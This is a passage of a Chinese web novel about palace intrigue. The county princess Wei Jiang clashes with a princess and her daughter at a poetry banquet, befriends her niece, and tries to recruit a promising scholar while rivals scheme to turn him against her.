她不一样,县主封号不但拿回来了,还更受皇帝疼爱,皇子都硬刚过,还怕个长公主。
她盯着铜镜中的自己,笑了一下,扶了扶金钗:“走吧。”坚定的眼神,不知道的以为去战场。
赵慧娘来了有小半个时辰,听说县主还在梳妆,她便老老实实坐在外面等。
“县主。”
“怎么穿的这么素?”卫姜有些惊讶,往日赵慧娘穿的也没这么淡。
赵慧娘被问的尴尬,这身衣裳是她娘早早准备的,听说长公主喜欢女孩子这么打扮,清水出芙蓉。
“表小姐这样好看,清丽雅致。”见人家小姑娘不自在了,长佩连忙打圆场。
我的县主哎,是你穿的太华丽了,只怕今日宴上您才是另类,长佩腹诽。
卫姜话出口也反应过来,既然窦氏想要女儿得长公主的青睐,自然就要投其所好了。
卫姜打量片刻,决定给她稍微改改:“把我上次得的那根羊脂玉簪拿来。”
虽然要素雅但也不能太寒酸了,不然会被吐槽穷酸。
扫了眼赵慧娘的手腕,倒是戴了一对和田青玉镯子,但品质只能算中上。
她又道:“换上翡翠镯子。”这太贵重了,赵慧娘连连推辞,不敢收。
“东西就是要给人戴的,你戴着好看我就高兴,我高兴就比什么都好。”赵慧娘还要说什么,卫姜眼一瞪,“我不喜欢别人拒绝我的好意。”她立马不敢说了。
这才对嘛,卫姜满意了。
赵慧娘看着手腕上的镯子,心情有些复杂,她知道自己该拒绝的,可她又舍不得。
她知道是自己虚荣了,可她就是好喜欢。
“县主,我今日戴戴就行,这么贵重的东西您还是留给妹妹吧。”赵慧娘最后还是战胜来贪心。
这样的好东西只怕县主也只有这一对,她再贪心也知道好歹。
“送你你就收着,快走吧,等下别迟到了。”卫姜却完全没放在心上。
赵慧娘眼底闪过黯然,也许在县主心里这原也不是什么好东西。
她拢了拢袖子,收回心神,提步跟了上去。
“慧娘,你……你是同我坐一起还是自己坐一辆。”
卫姜的犹豫看在赵慧娘眼。,
她知趣道:“我自己坐一辆就好。”
她眼底那一瞬的难堪刚好被卫姜抓到来。
卫姜心中一酸,低声解释道:“我不是嫌你,长公主……她怕是和我不太对付,你要是和我同车,我怕她会对你印象不好。”
赵慧娘也不知道是不是真的信了,但脸上有了笑,乖巧地点头,“那我听县主的。”
她正要转身,卫姜又叫住了她:
“慧娘,你很好,有才学又漂亮,不用担心自己会泯然众人,你知道吗?你出色不是因为你站在谁的身边,被谁看重,而是你本来就很优秀。”卫姜神色郑重,让慧娘感觉到她真的是这么认为。娘也常夸她好,可娘依旧觉得她本身的好比不上家世的加持,她觉得只有站在那些贵人身边,才会有人注意到自己的好。
从来没有人因为她是赵慧娘而说她好。
赵慧娘忽然有些想哭,委屈涌上心头。
“小姐,可不能掉眼泪,小心花了妆。”眼看她就要哭出来,侍女连忙提醒她。“你觉得我出色吗?”赵慧娘转头问丫头。
侍女点头:“小姐当然好了,聪慧漂亮又善良。”
赵慧娘噗吡一笑。
前面长公主府就要到了,小侍女捧出镜子给赵慧娘理妆。
赵慧娘看了看,开口道:“把胭脂给我拿来。”
敷了太多的粉让她气色看起来很差,她想调整下妆容。
“小姐……”侍女犹豫。
这可是夫人花大价钱从别人那得到的消息,长公主日常最爱这样素淡的妆容。
赵慧娘没有丝毫犹豫,对她道:“你不是说我本来就很好。”她瞟了一眼:“那又何必要迎奉别人的喜好,要是因为一个妆扮就得到了青眼,那喜欢的也不是我这个人。”马车停下,长公主府下人迎了上来。
“县主,我们公主就在后园子里,请跟我来。”那侍女见到卫姜的装扮眉头跳了一下。
赵慧娘跟上,卫姜转头去看她,这才留意到她的妆容有了变化,不在苍白的跟重病初愈一样。
“很漂亮。”卫姜毫不吝啬地夸了一句。
赵慧娘羞涩低头。
长公主身边围了不少人,果然如长佩想的那样,卫姜一声明艳打扮倒成了另类。
卫姜给她见礼,南康长公主就好像被刺痛了眼一样故意偏过头。
“新宜这打扮的可真是……贵气的很啊。”轻柔的声音,说出来的话却伤人的很。
这明明是讥讽卫姜俗气。
“这是谁?”南康长公主不忍直视,故意去搭话一身素雅的赵慧娘。
赵慧娘抬头:"回长公主,我是襄城伯府的慧娘。"
南康眼神一顿,皱眉道:“衣裳倒是雅致,可惜这妆容不搭。”
赵慧娘面如死灰,她虽然鼓足勇气做自己,可也没想到长公主会当场表示不喜,这让她以后如何做人。
一个贵女连基本的审美都没有,以后还会有人和她一起玩吗?
“长公主这话严重了吧。”卫姜把赵慧娘拉到身后。
“我们家慧娘正是青春年少,年轻人嘛气血足,可扮不来那病怏怏的模样。”她扫了一圈周围捂嘴正在嘲笑赵慧娘的人,嘲讽道:“各个以为自己是病西施吗?脸白的跟死人一样,晦气!”长公主细长白脸带着温怒。
众人像同一时间被人捏住了脖子,脸上的表情精彩的很。
谁也没想到她会这么顶上来,这可是长公主,她竟然也不放在眼里。
虽说长公主爱风雅,喜素淡妆容,但其实更多是因为她身子不好,气血不足,显得脸色苍白。
只是从来没有人当面指出来过。
葛月低头,嘴角含笑,原本还以为要多花点时间让南康长公主和她对上,没想到新宜县主这么沉不住气。南康长公主这个人最好面子,又喜欢别人围着她奉承,最不喜欢别人顶撞她,卫姜这么下她的脸面,两人梁子算是彻底结上了。
徐仰的妻子刘氏娘家和长公主的夫家有亲,她也应邀参加宴席。
场面陷入尴尬,她原指望潞王妃能打圆场化解一下,可也不知潞王妃是不是胆小被吓住了,还是没反应过来,只呆呆坐着。
刘氏只能硬着头皮自己上,好在当初她和县主也有三分交情。
“县主就喜欢说笑,您可来晚了,刚刚长公主还说您再不来诗会可就要开始了。”
刘氏试探扶卫姜的手,见她并没有发难,心下松了口气,亲亲热热地把她往旁边的位置上引。
“这是长公主特意给您留的位置。”
卫姜也不想坏了人家的宴会,刚刚也是气极了,觉得南康长公主气量实在太小,对一个小姑娘都不留口德。难道她不知道自己这句话会给别人带来多少伤害,今日她轻飘飘的一句可惜,等明日流传出去,赵慧娘还怎么出门。窦氏托她照顾赵慧娘是奔着找贵婿来的,可不是为了坏名声。
“多谢长公主了。”卫姜顺着台阶下了,又变回那个礼数周到的新宜县主。
众人佩服她的变脸之快。
可惜她的好意有人不领情。
南康长公主暗讽道:“新宜县主称呼皇上舅舅,怎么到了本宫这里变得这么生疏。”
众人低下头去,都当没听到。
这是把新宜县主的脸皮剥下了,谁都知道她这声舅舅叫的委实有些远,长公主家的琼英郡主那才是亲外甥女。
大长公主这是暗指卫姜攀附皇家,就差明着说她不要脸了。
葛月往后一靠,看好戏的姿态,能看到不可一世的新宜县主吃瘪,这真是不多见。
所有人都在等着卫姜的反应,有些兴奋又有些担忧。
兴奋是能身在吃瓜第一线,可有担忧两个贵人弄出什么事来,牵累她们这些池鱼。
卫姜闻言面不改色,竟还有还有心情吃果子。
她笑着对长公主道:“我哪敢跟您攀亲戚,从我进门到坐下,不过半刻钟,你可是连个好脸色都没给,我也不是不知趣的人,哪敢上来就认亲戚。”长公主以为她服软,脸上露出鄙夷之色。
“不过……”卫姜话音一转,“长公主要是觉得我的称呼有问题,可以亲自去跟皇上说,毕竟是他老人家说表舅听着生分,让我叫舅舅的。”
卫姜歪头,对她挑衅一笑:“长公主进宫可要我带个路?”
这是讥讽她多年未被诏进宫吗?
那是因为她身子不好!她生在皇宫长在皇宫,那是她的家,现在一个外八路的狗屁县主都能讥讽她了!
看着这双熟悉眼睛,长公主脑中闪过旧事,心口一阵发慌,她痛苦地捂住胸口。
“长公主……”侍女惊呼。
葛月反应迅速,立马上前为她诊脉。
这是惊惧过度的表现,葛月存了丝狐疑,不该是被怒气激到了?
张氏扯了扯卫姜的衣袖,悄声道:“县主今日怎这般沉不住气。”
卫姜心里也有些后悔,冲动了。
“我什么时候沉的住气了。”卫姜吐槽自己,她要是沉的住气,也不会到处得罪人了。
不过别人都把巴掌扇到脸上了,难道她还要腆着脸把另一边递过去?
“不会有事的。”听着好像在安慰自己,但卫姜是因为有葛月在,葛月应该治好她的病了。
“让人去通知窦大人吧。”张氏提醒卫姜,她这是担心长公主碰瓷。卫姜也觉得有必要给窦绍提个醒,她好像是惹了点事。她给长佩使了个眼色,让她去给窦绍通个气。长佩前脚刚离开,长公主就婴嘤转醒了,侍女给她服下常用的药丸。
葛月:“长公主要保持心境平和,切不可再动怒了。”也就是说长公主发病是被人给气的。
大家把目光投向卫姜。
长公主眼神闪过精光,但很快又平息了,这是个好机会,可惜时机不对。长公主的女儿,琼英郡主知道母亲被人气倒,带着人急匆匆赶来。
“娘,您怎么样?是谁给您气受了?”她扑到长公主面前,查看母亲的脸色。周琼英带着怒意狠狠瞪了卫姜一眼,刚刚潞王妃的话她都听到了。
“我们现在就进宫让人给评评理,我倒要看看新宜县主这样不把您放在眼里,皇舅舅会不会再维护她。”长公主脸色一变,扯了一把女儿,训斥道:“胡说什么呢!我是老毛病刚好犯了,跟新宜县主没关系。”她让人把她扶了起来,轻柔道:“今日辰光好,别误了这花宴,大家继续吧。”众人没有动,长公主脸色冷了下来,其中一位夫人见了,率先开口道:“听说前院做了好些诗了,不如让人传些过来让我们也看。”
她旁边的妇人接了话头:“你这是想给自家女儿估摸女婿吧。”
几句话又让气氛活跃了起来。
卫姜有些意外她竟然主动给自己洗脱嫌疑,抬头却对上了南康长公主阴冷的目光。
看来不是大人大量。
卫姜扯了扯嘴角浅笑一下,礼貌且恭敬。
病人惹不起。
“郡主头上这根簪子可真好看,这流光溢彩……镶的是翡翠吧。”这么大一块翡翠可不多见。一位贵夫人恭维着周琼英。一来翡翠都是外邦进贡的,本就稀少,二来这翡翠考究工艺,也只有宫里能作出这么精致的东西。周琼英有些得意地摸上簪子,“这是母亲从宫里带出来的陪嫁,是皇外祖父赏的。”果然是从宫里流出来的,众人眼中带着艳羡。“也不是什么贵重东西,不过看着雅致就给了她。”长公主笑着说道。众人对着这块翡翠又是一顿评头论足,但总结下来就是一个字,夸,夸珍贵,夸稀少。卫姜听的都想掏耳朵。
因着一根簪子,琼英郡主出尽风头。赵慧娘低头,把手往袖子里藏缩。有些看热闹不怕事大的偷偷看向卫姜可惜卫姜一头珠翠,好看是好看,就是太华丽了,没有稀缺性。她们有些遗憾地收回目光。
宴席准备的都是些精致的糕点,还有几壶清茶果酒,吃饱喝足,长公主便让在场的小姑娘们做几首桃花有关的诗来。
琼英县主自然拔得头筹。
其中赵慧娘的诗也得到不少人的肯定。
"县主怎么不做首诗?"
没什么才学的卫姜正在和人说话,冷不丁被葛月点名了。
“那王妃怎么不做诗?”卫姜笑着反问她。
"我在乡野长大,平常也只看医书,对诗词不太懂。"
卫姜敛了笑容:“王妃自己不会怎么倒是来勉强别人了,难道我什么时候传出过才女的名声?”
噗吡,有人没忍住笑。
张氏推了她一下:“县主又促狭了,王妃别见怪。”
葛月脸色有些僵硬,她没想到卫姜竟然不给面子。
当然不会给你面子了,你背后干了多少坏事不知道吗?卫姜没好气觑了她一眼。
要知道刚刚长公主要是顺着她的话装个病,卫姜怕是又摊上事了。
“前院的诗传来了。”侍女们带着诗文回来了
长公主自诩文雅,自然是要请来一些文采斐然的士子们,后院这些闺阁诗词都是小打小闹,她们想要看的是前院这些。说不定来年的状元就在这些人里面,要是能挑一两个做女婿,那也是桩美事,诗会正好可以看看他们的才学。
“如何?可有觉得好的?”张氏问卫姜。
"我真看不懂诗词。"
卫姜以为自己声音很小,却不想被耳尖的琼英郡主听见了。
“县主不懂诗吗?当初你和窦大人不就是因诗词结缘吗,不是说你爱慕他的文才?”周琼英故作夸张捂住嘴,眼里带着恶意的笑。
葛月也觉得快意,有些话不同的人说出来就是不一样。
长公主不盯着卫姜了,周琼英可不打算放过她。
卫姜能感觉到周围讨论的声音立马就停了,大家都竖起耳朵听她怎么说?
当初新宜县主和窦大人的婚事是怎么回事,京里谁不知道,典型的仗势欺人,县主那就是强抢良家妇男。
如今琼英县主舞到本尊面前,她们也想听听县主自己怎么看?
卫姜哦了一声,笑的妖孽:“谁爱慕他文才?我就是爱他的脸,他的身子。”
竟然说出这么不要脸的话,琼英脸轰地熟透了。
她还未议亲呢?怎可听这种污言秽语
“娘!”周琼英羞的掩面而泣。
"卫姜,你也太口无遮拦了,这里还有很多姑娘家在。"
卫姜:“这不是郡主发问吗?不敢不答,免得又说我不恭敬。”
既然知道自己还是个未嫁女,就不应该关心人家夫妻之间事情。
长公主安抚女儿,冷冷地扫了一眼站在一旁的葛月。
刚刚女儿可是和她嘀嘀咕咕说了一会儿。
“看诗看诗。”张氏塞给卫姜一张纸。
不要再口出狂言了,她们这成了亲的也扛不住啊。
“你外甥女也在呢。”说虎狼之词前三思啊。
卫姜扫了一眼诗文,是真没兴趣,等扫到诗人的名字,目光一怔。
她重新认真读了一遍,好像文曲星附身一样研究起来,问旁边的张氏:“这人诗是不是写的很不错?”
张氏是个低调才女,平日里和徐仰夫妻俩诗词相合。
“确实文采斐然。”
卫姜笑了,把这张纸折起来放到一旁,
葛月正巧看到这一幕,等侍女送来诗文时,她拿起那张折起的纸,记住了人名。
坐在赵慧娘隔壁的小姐发出惊呼的声音。
动静有些大,惊动了其他人。
长公主皱眉,“怎么回事?”
那小姐才十—二岁,正是咋咋唬唬的年纪,根本就看不懂赵慧娘恳求的眼神:
“她戴了一对翡翠镯子,好漂亮。”她刚见过琼花郡主的翡翠簪子,不会认错。
见别人不信,她跑过去把赵慧娘的手腕露了出来,卫姜都来不及阻止。
翠绿的镯子戴在白皙的手腕上,分外好看。
确实是翡翠,甚至比刚刚琼英郡主那块还要好。
周琼英脸色铁青,切齿道:“你是从哪得的?”
长公主没来得及拦住女儿,这个问题问的太蠢了。
她光明正大的戴着,总不能是偷的。
周琼英只觉得脸皮臊的慌,想到戴在头上的簪子,她想拔出来踩碎,可仅存的理智告诉她不行。
这是先帝所赐。
亏她刚刚献宝一样,原来随便一个平民丫头手上都戴着比她更大更贵重的首饰,她刚刚的行为像什么,就像戏文里的丑角……
她也配吗?周琼英盯着赵慧娘,想要把那两只手剁下来。赵慧娘已经被吓住了,摇摇欲坠。卫姜挡住了长公主母女的视线,让长佩带赵慧娘走。
“你要是问她这镯子从哪来的,我可以告诉你:我给的;若是你想问我从哪来的,我也可以告诉你:宫里给的。”
皇上因为宜春的事情赏她不少好东西,翡翠镯子算一样。
要不是长公主自己要弄什么有格调的雅宴,窦氏也不会给赵慧娘打扮成那个寒酸样,她也就不会把这翡翠镯子给人。
嗯……说来说去,怪自己吧。
其实赵慧娘已经很懂事了,之前卫姜就留意到她不敢伸手,就是怕出现这种难堪的情况吧。
可人算不如天算,被个不懂事的小丫头叫破了。
“我看宴会也才不多了,我想起家里还有点事,那我们就先告辞了。”再留下去也没意思了。
卫姜行了个礼,带着人就走了。
周琼英已经哭倒在长公主怀里,这个宴会是进行不下去了,大家也纷纷有眼色的告辞。长公主病好后的第一个雅宴就这么草草落幕。
“县主,我是不是给您惹麻烦了。”琼英郡主反应那么大,赵慧娘有些害怕。
卫姜安慰她:“我还会怕麻烦吗?不过最近你躲一躲那个周琼英。”
看她那不讲理的样子,说不定会找赵慧娘的麻烦。
马车被拦停,是窦绍来了。
卫姜掀开帘子:“你怎么来了?”
窦绍笑道:“不是你跟我传信说惹麻烦了?”
赵慧娘不敢看两人,给窦绍行了个礼,就跳下马车:“我回自己的马车。”
总觉得舅父看她时的眼神好像在嫌弃她碍事。
赵慧娘离开,窦绍进了马车,卫姜把今日发生的事情说了一遍。
“我总觉得长公主有些奇怪。“卫姜皱着眉头。
一开始很明显长公主是想要激怒她,也不知道她目的为何?
卫姜以为她是想重新引得宫里的注意,所以故意刺激她,可最后长公主并没有借这个机会闹到皇上面前。
卫姜有些摸不清她的想法了。
"想不通就不想了,总有一天她会把目的露出来。"
“对了,还有一件事。”卫姜眼里带着狡黠,还有一种抢占先机的得意。“你再给我几个人,我要查一个人。”“谁?”潞王问道。葛月在纸上写下那人的名字:林怀新。“此人是谁?”葛月摇头:“我不知,但应该是个举子。”不是大家子弟那只能是长公主府请来的士子。她看的很清楚,新宜县主看见他的诗文时那种惊喜的表情,眼神发亮,眉飞色舞。她总觉得这个人会有意想不到的作用,她要在新宜县主之前找到他。“此事我来安排。”潞王问她:“苏家的事情查的怎么样了?”葛月脸阴了下来,苏妍那个没用的,今日竟然病了,连长公主的宴会都没有来。赵慧娘回到赵家,窦氏收到风声忧心匆匆地在等在大门口。
等女儿一五一十把今日发生的事情说完,她吓的脸发白。
看着女儿手上的镯子,窦氏眼神闪过复杂,但很快她就转过弯来了
“慧娘,你的运气来了。”
60、第60章...
窦青莲生平最怕的人就是她这位二哥,长得是好看,但冷起脸来让人心惊肉跳。
想着女儿的终身大事,窦青莲才强撑着没有逃走。
顶着窦绍锐利眼神,她硬着头皮把话说出口。
“慧娘如今得罪了长公主和琼英郡主,赵家不过是三流的破落户,哪里护的住她,都是我不好,我就不应该让她去什么花宴。”
她捏着帕子哭泣,余光不停偷瞄卫姜。
一味示弱,没有说半句埋怨卫姜的话。
卫姜倒宁愿她撒泼打滚,自己不会有半点负担,偏偏窦青莲变了招数,舍弃了她擅长的胡搅蛮缠,反而通情达理装可怜起来。
一旁的赵慧娘低着头,一脸自责。
窦绍要开口,卫姜扯了他的胳膊,说道:“说起来这事也有我的不是……”窦青莲急忙插话:“县主是疼爱慧娘,怎么能怪罪到你头上。”卫姜忽然明白窦青莲想要做什么,她看向窦绍,对视一眼。窦绍微微点头,问窦青莲:“你直接说你想干什么?”窦青莲带着些吞吞吐吐:“能不能让慧娘住过来……”避一避。“可以。”话没说完卫姜开口同意。
窦青莲一喜,“真的?那……”她真个她拉起女儿,“还不快谢谢你舅母。”赵慧娘脸红,觉得这样行事不妥,带着恳求的语气叫了声娘。窦青莲瞪了她一眼,又推着她给卫姜窦绍行礼。窦青莲生怕他们反悔,立马就要回去给女儿收拾箱笼送过来,拦都拦不住。两人无赖,卫姜只好让人带赵慧娘先去了她的住处。窦绍一脸不赞同:“你难道不知她什么意思?”她这是把女儿赖给他们了,说不得就要让卫姜给慧娘找婆家。“你好像对你妹妹印象很不好。”卫姜打趣他,她当然明白窦青莲的意思。自小就是个刻薄尖酸的性子,为人势力又喜欢拜高踩低,窦绍实在是对她高看不来。窦绍满脸嫌弃。
卫姜:“慧娘是个好姑娘,琼英郡主气量太小,做事又有些蠢,你妹妹的担心也不是无的放矢。”以前是长公主身子不好,她们低调做人,如今长公主重回社交圈,只怕京中贵女之首就要变成琼英郡主了。让她丢了好大脸的赵慧娘能有好?她都不用做什么,稍微暗示一下,有的是人帮她出手。
赵慧娘来窦家小住也是个办法,暂时避避她们的锋芒。
“对了,你说的那个举子找到了吗?”窦绍忽然这事。“当然。”卫姜抬起下巴,神态得意。
窦绍忍笑,问她:“此人有什么不一样的地方,你好像很看重?”
卫姜卖了关子,“你猜?”
窦绍总觉得她的笑带着什么意味。
当然要看重,这个林怀新可是下一科的状元,此人很有才干,颇受信王重用。原书里男女主曾想要用他来制衡窦绍,可惜最后没用上,窦绍心灰意冷辞官归隐了。不过这个人在原书中和女主有点蓝颜知己的意思。
卫姜准备做两手准备,一方面趁着他没发达前结交拉拢,至少不能让他去投靠潞王。
书中他是信王的心腹谋士,这人很聪明且很难对付。
另一方面,万一这个林怀新又跟葛月搅合到一起去,她也要知己知彼,做好应对之法……
“这个人很有才识的,以后前途绝对差不了。”卫姜想要让窦绍重视起来,不由地夸起来。
窦绍变了脸色,她都没有主意到。
到底什么了不得人值得她如此费心思去拉拢,难道又未卜先知了?是不是就如宜春那次,她一反常态,手段强硬,竟不惜请旨带调兵剿灭水匪。其中甚至冒着让皇上误会的风险,但她很坚定。窦绍有理由怀疑,她定然是知晓水匪将来会犯上作乱事。事后也证明她的坚持没有错。
那这次这个林怀新呢?他又会是什么样的人?她这么看重,她是不是觉得此人胜过自己?
窦绍心里酸溜溜的
“过两日你休沐,我把他请来,你到时候好好发挥下个人魅力,最好让他崇拜你,钦佩你的为人,被你的渊博学识所折服,当然,你也要重点表现下对他的欣赏和看重,然后你们发展出亦师亦友的感情……”卫姜已经完全沉浸在自己导演的戏目里面了。
他不着痕迹打量林一眼卫姜,沉吟片刻:“我尽量吧,你这是要拉拢提拔他?”
卫姜:“算是吧,我是想着我们和潞王结了仇,如今又把长公主得罪了,怎么也得培养点自己的势力,对吧?”
她的解释也很合理,但窦绍就是知道她隐瞒了最关键的。
“他如今连会试都还未参加,你就这么看好他?还是说你对我没信心。”窦绍泼冷水。
这不是迟早的事。
这人怎么这么多心,卫姜无奈,双手撑到他的肩头,“你当然是最厉害的。”
她拍着马屁,眼睛转的飞快,“你之前不是说太子缺人,你可以把他举荐给太子啊。“卫姜重重的拍了下他的肩膀:“相信我吧,这人很能干的,你对他好点。”
窦绍点头,眼神变得幽暗。就凭她为这人解释这么多,他都不可能对此人真的好。林怀新租住在城南,和好友一起住。
前些日子他和好友受邀去参见了长公主的花宴,他知道这是难得的好机会,也很用心地准备了。
但诗词实在不是他擅长的,他心里也知道希望渺茫,可老天终究是垂青了他一会。
他目送着马车离开,腰背挺的笔直,目光闪过坚定。
忽然肩膀被人从后面拍一下,一个轻佻的声音道:
“林兄,苟富贵勿相忘。”林怀新转头,见是和他同住的刘驰,正对着他挤眉弄眼。
刘驰搭上他的肩,看着渐渐看不见影子的马车:“是潞王府的人吧,你小子运道不错,可要好好把握。”
他们这种贫寒学子若是能得到贵人青睐,高中后也能谋个好出路。
林怀新没理他的话,微微皱眉。翕动一下鼻子,然后不留情地推开他:“你又去喝酒了,刘驰!明年就是大比之年,你不多读书却日日出去喝酒,你要是不准备考了还不如早日归家,免得浪费家中的银子。“刘驰差点被他摔在地上,见林怀新铁青着脸,讪笑着:“我是去应酬,死读书能有什么用,考中了没有门路,说不定几年都谋不到缺。”
他嘟囔道:“我跟你不一样,我又没你有才华,可没得什么潞王赏识。”
他重新黏上来,嬉皮笑脸:“富贵了可不能忘了我们同榻而眠的情谊。”
“不是你想的那样。”林怀新瞥了他一眼,转身进了屋里潞王若真是因为他的才学赏识他那倒是好了。潞王甚至连他那首不怎么样的诗都没读过。“不是赏识你,怎么这两日天天把你接去潞王府?”林怀新也不知道该怎么说,好在刘驰已经不纠结这个问题了。“你饿不饿?我做点吃的?”两人之间只有刘驰的手艺吃不死人,所以日常下厨的活都是他干。被他这么一说,林怀新也有点饿了,在潞王府他什么都没吃。刘驰动作很快,清水面加几根青菜就是一餐,有时候馋坏了才会加个蛋。谁让两人是个穷书生呢?刘驰挑起面条长叹,然后低头干掉。其实刘驰家境比林怀新还是要好一些,可他平日里应酬多,钱都用去喝酒了,只能一起吃清水面。
敲门声响起:
“请问林举子在吗?”
两人对视一眼,刘驰把最后一点面条吸溜完,潦草地摸了下嘴,低声道:“我先去看看,你慢慢来。”林怀新做事慢,又最是讲究,这个时候让他见人定会觉得失礼,他先去挡挡。“你找谁?”刘驰开门,把全贵堵在门口。
全贵掏出请帖,自报家门:“林举人,我们家大人和县主十分欣赏公子的才学,想请你过府一叙。”“你们家县主?”刘驰有些摸不准是哪个县主?“自然是新宜县主。”全贵把帖子往他手中一递,准备撤了。“明日我派马车来接公子。”见他要走,刘驰反应过来,哎的一声叫住人,全贵有些不解。“我不是你要找的人,你等下。”刘驰往后看,见林怀新已经整理好,忙把门让开,请全贵进来。“这就是你要找的林怀新林举人。”全贵反应很快,恭敬给林怀新行礼:“见过林举人。”然后有些犹豫地看向刘驰,不知道怎么称呼。林怀新介绍道:“这是和我同住的刘举人。”“见过刘举人。”全贵礼数周到,极其谦逊,这让刘驰好感倍增。
刚刚门口的谈话林怀新早就听了一清二楚,他想要再次确认:“县主怎么会知道我的?”
全贵回道:“我们县主在长公主宴上看到过您的诗文,她很赏识您的才学,想请你去府上说说话。”
“不知我可否带个人同去?”
全贵看向刘驰,明白他说的是何人,笑着点头:“自然,那我明日派人来接二位。”
送走全贵,刘驰掩饰不住地激动:“小子,你可真讲义气,这次是真苟富贵勿相忘。”
“那可是窦绍窦大人,果然,怀才不遇的都是别人,我们可是天子骄子。”刘驰攀上他的肩,双眼发亮,已经在畅想他的光明前途了。
注意到林怀新好像不是那么开心,他收敛情绪,关心问道:“有什么不妥吗?窦大人可是多少人求上门去都见不到一面的。“
他们为什么提早一年多来京城,不就是为了万无一失,提前来熟悉京城的人事,这窦绍窦大人探花出身,一路高升,如今已经是朝中颇受皇帝倚重的权臣了。
若是能和他说上几句话,对他们受益匪浅啊,还有什么犹豫的。
林怀新叹气,若真是窦大人相邀他自然是高兴,可他刚被人提醒过,知道这是新宜县主相邀,只是借大人的名而已。
没听刚刚那人一口一个县主的,哪里是窦大人的意思。
新宜县主的名声刚到京城的时候就耳闻过了,前些日子在长公主的宴会上的作为他也是见过的。
这样难惹的人他是万万不敢沾上。
潞王府的人说,县主最是爱慕才学好的人,当初窦大人也是因为一首诗被她看上,原本窦大人是极不情愿这门亲事的,可已故大长公主亲自出马,在前途和婚事之间,窦绍最终妥协。窦大人这平顺的仕途是他牺牲自己的幸福换来的。
那自己呢?
林怀新脸色有些发白,他没有窦大人的家世,若真如潞王府说的那样,新宜县主和窦大人如今貌合神离,只是表面夫妻,私底下各自找乐子。
而他被新宜县主看上了!
想到县主的刁蛮跋扈,林怀新心坠落到了谷底。
刘驰听他这么说,脸色也变的很难看,安慰道:“只是猜测,也许他们猜错了,说不定新宜县主和传言不一样。”
对上林怀新的目光中,刘驰的声音越来越低。
他们知道这可能信很低,潞王府的人既然敢这么说,自然是有据可查的。
“那你怎么办?要不你装病吧,明日我去替你告罪。”自己也没诗才,不怕,难带刚刚怀新说要带个人去,是防着那县主呢。
这新宜县主也不年轻了吧,都是当祖母的人了,还玩的这么花。窦大人朝堂威风,竟然连个妇人都辖制不了。
一时间,窦绍在刘驰心中的威望直线下降。
“你知道我的,我只有这一次机会。”林怀新脸上有豁出去的坚定。
刘驰明白他的难处。
林怀新父母早亡,由叔父抚养长大,他自小就有读书的天分,叔父盼着他成才,哪怕家中不是很富裕也咬紧牙关供他读书。可叔父也有一大家子要养,再加上要供一个读书人,家里过的实在是穷迫不堪,他的堂弟已经到娶妻的年纪,却不敢请媒人上门。堂妹早已过了及笄之年,还待字闺中,因为没有嫁妆来求娶的都是些鳏夫破落户。他的婶娘实在忍不了,和叔父大闹一场,最后商定卖了最后几亩田,让他进京拼一把,叔父也算是尽了心,对得起兄嫂了。至于考不考得上就看他的命。
林怀新憋着一口气,想要出人头地以报答叔父婶娘对他的养育,也是为了给堂弟堂妹一个好的将来。
“要不你去找周大人试试,说不定他能帮你呢?。”刘驰给他出主意。林怀新摇头,周大人身份尴尬,只怕也帮不到什么,何必连累人呢。
前脚林怀新接到卫姜帖子,后脚潞王和葛月已经得到消息。
“你说这新宜县主不会是真起了那种心思吧。”潞王笑容带着暧昧。
葛月皱眉:“是不是真的有什么关系,反正我们目的达到就行了。”
“你说林怀新会信吗?”
新宜县主看上他了?潞王自己都想笑。
这样离谱的话竟然也信,看来这个什么才子也不过如此,脑子不太好。
葛月却知道他一定会信。
因为在他们眼里,这些皇亲贵人就是如此荒诞不经,有什么干不出来的。
她知道像他这种人最渴望什么,他出身寒微,是家里所有人的希望,若是前途被人拦了,他会不惜一切代价。
曾经她也是这种人啊!
让他先入为主对新宜县主起了厌恶之心,他想要摆脱新宜县主的纠缠就势必会求助帮过他的潞王府。
如此他们就能把林怀新变成一颗安插在新宜县主身边的棋子。
“还是王妃这招妙,没想到新宜县主竟然真的下帖子了。”天助他们,如此,林怀新怕是深信不疑了,最好明日新宜县主在弄点事情出来就好了。可惜自从上次潘家那件事后,他好不容易安插在窦家的几颗钉子都被拔了,潞王有些心疼,早知道他行事应该再谨慎一些。
“明日我要回一趟苏家,这件事就有劳王爷了。”葛月的话打断了他的沉思。
潞王点头:“你放心,我派人盯着林怀新,有消息我让人跟你说,你回苏家是因为苏青的事情?”
是。葛月把调查苏青身世的事情交给苏妍,可她回来好几日都没有动静,就连她派人去催,苏妍都不回信。她这是准备过河拆桥了?葛月冷笑,庵堂走了一趟还是没长脑子。既然送去的信不回,那她就亲自去一趟苏家,听听苏妍要怎么狡辩。既然敢把她弄回来,自然也就有拿捏她的手段,这个苏妍真是蠢的让人发笑。
"你怕什么,她难道敢杀了我?反正在她心里我就是个蠢货。"
蠢货就要有蠢货的样子,她不做出点蠢事来,葛月又怎么会放心她呢?苏妍自嘲。
葛月既然把她弄回来,自然是因为自己有用,可太有用了也不行,事情办完了她不就没用了。
蠢货嘛,办事就有些不尽如人意,她们聪明人也要谅解啊!
侍女莺哥有些担忧:“可明日王妃就要来了,您的解释她会听吗?”
“解释什么,她要答案我告诉她不就好了。”苏妍轻蔑笑了一下,也不能让她觉得自己太没用。
她随手翻开库房最角落里的几个箱笼,蹲下去仔细翻找,怎么不见,她明明记得娘亲说过,她小时候的东西都放在库房里面的。
灰层有些多,苏妍被呛的咳嗽。
"小姐我来吧。"
苏妍用帕子捂住鼻子,让莺哥去另一边找,她又开了一口箱子。
找到了!苏妍脸上一喜。她从最里面翻出一个陈旧的拨浪鼓,咚咚咚摇了几下,还是好的。苏妍小心翼翼地拭去它表面灰层,独特的花纹露了出来。
"小姐,你要它做什么?"
苏妍举起它仔细端详,眼神带着怀恋,开口道:“它的用处可大了。”
它能帮自己挖出那些被掩盖的旧日隐秘!
61、第61章...
马车停下,全贵上前掀开帘子:“两位举人老爷,到了,请下车。”
从侧门进府,全贵一路把他们往后院的方向领。
两人对视一眼,心中愈发肯定他们要见的是新宜县主了。
“园子里花开的好,我们家主人带着小姐在赏花。”全贵可能看出他们的疑惑,出声解释。
还不如不说,一解释让林怀新心都更沉了。
花,才子,加上一位风韵犹存的徐娘,刘驰脑子里已经有画面了。
他有些迟疑了,自己的加入会不会惹的县主大怒。
“你家主人知道我也跟来了吗?”刘驰问道。
全贵:“自然。”
他停步,指着前面的亭子低声道:“"到了,主人就在那里。"
哪里?刘驰垫着脚都没有见到人,只有一座空荡荡的亭子。
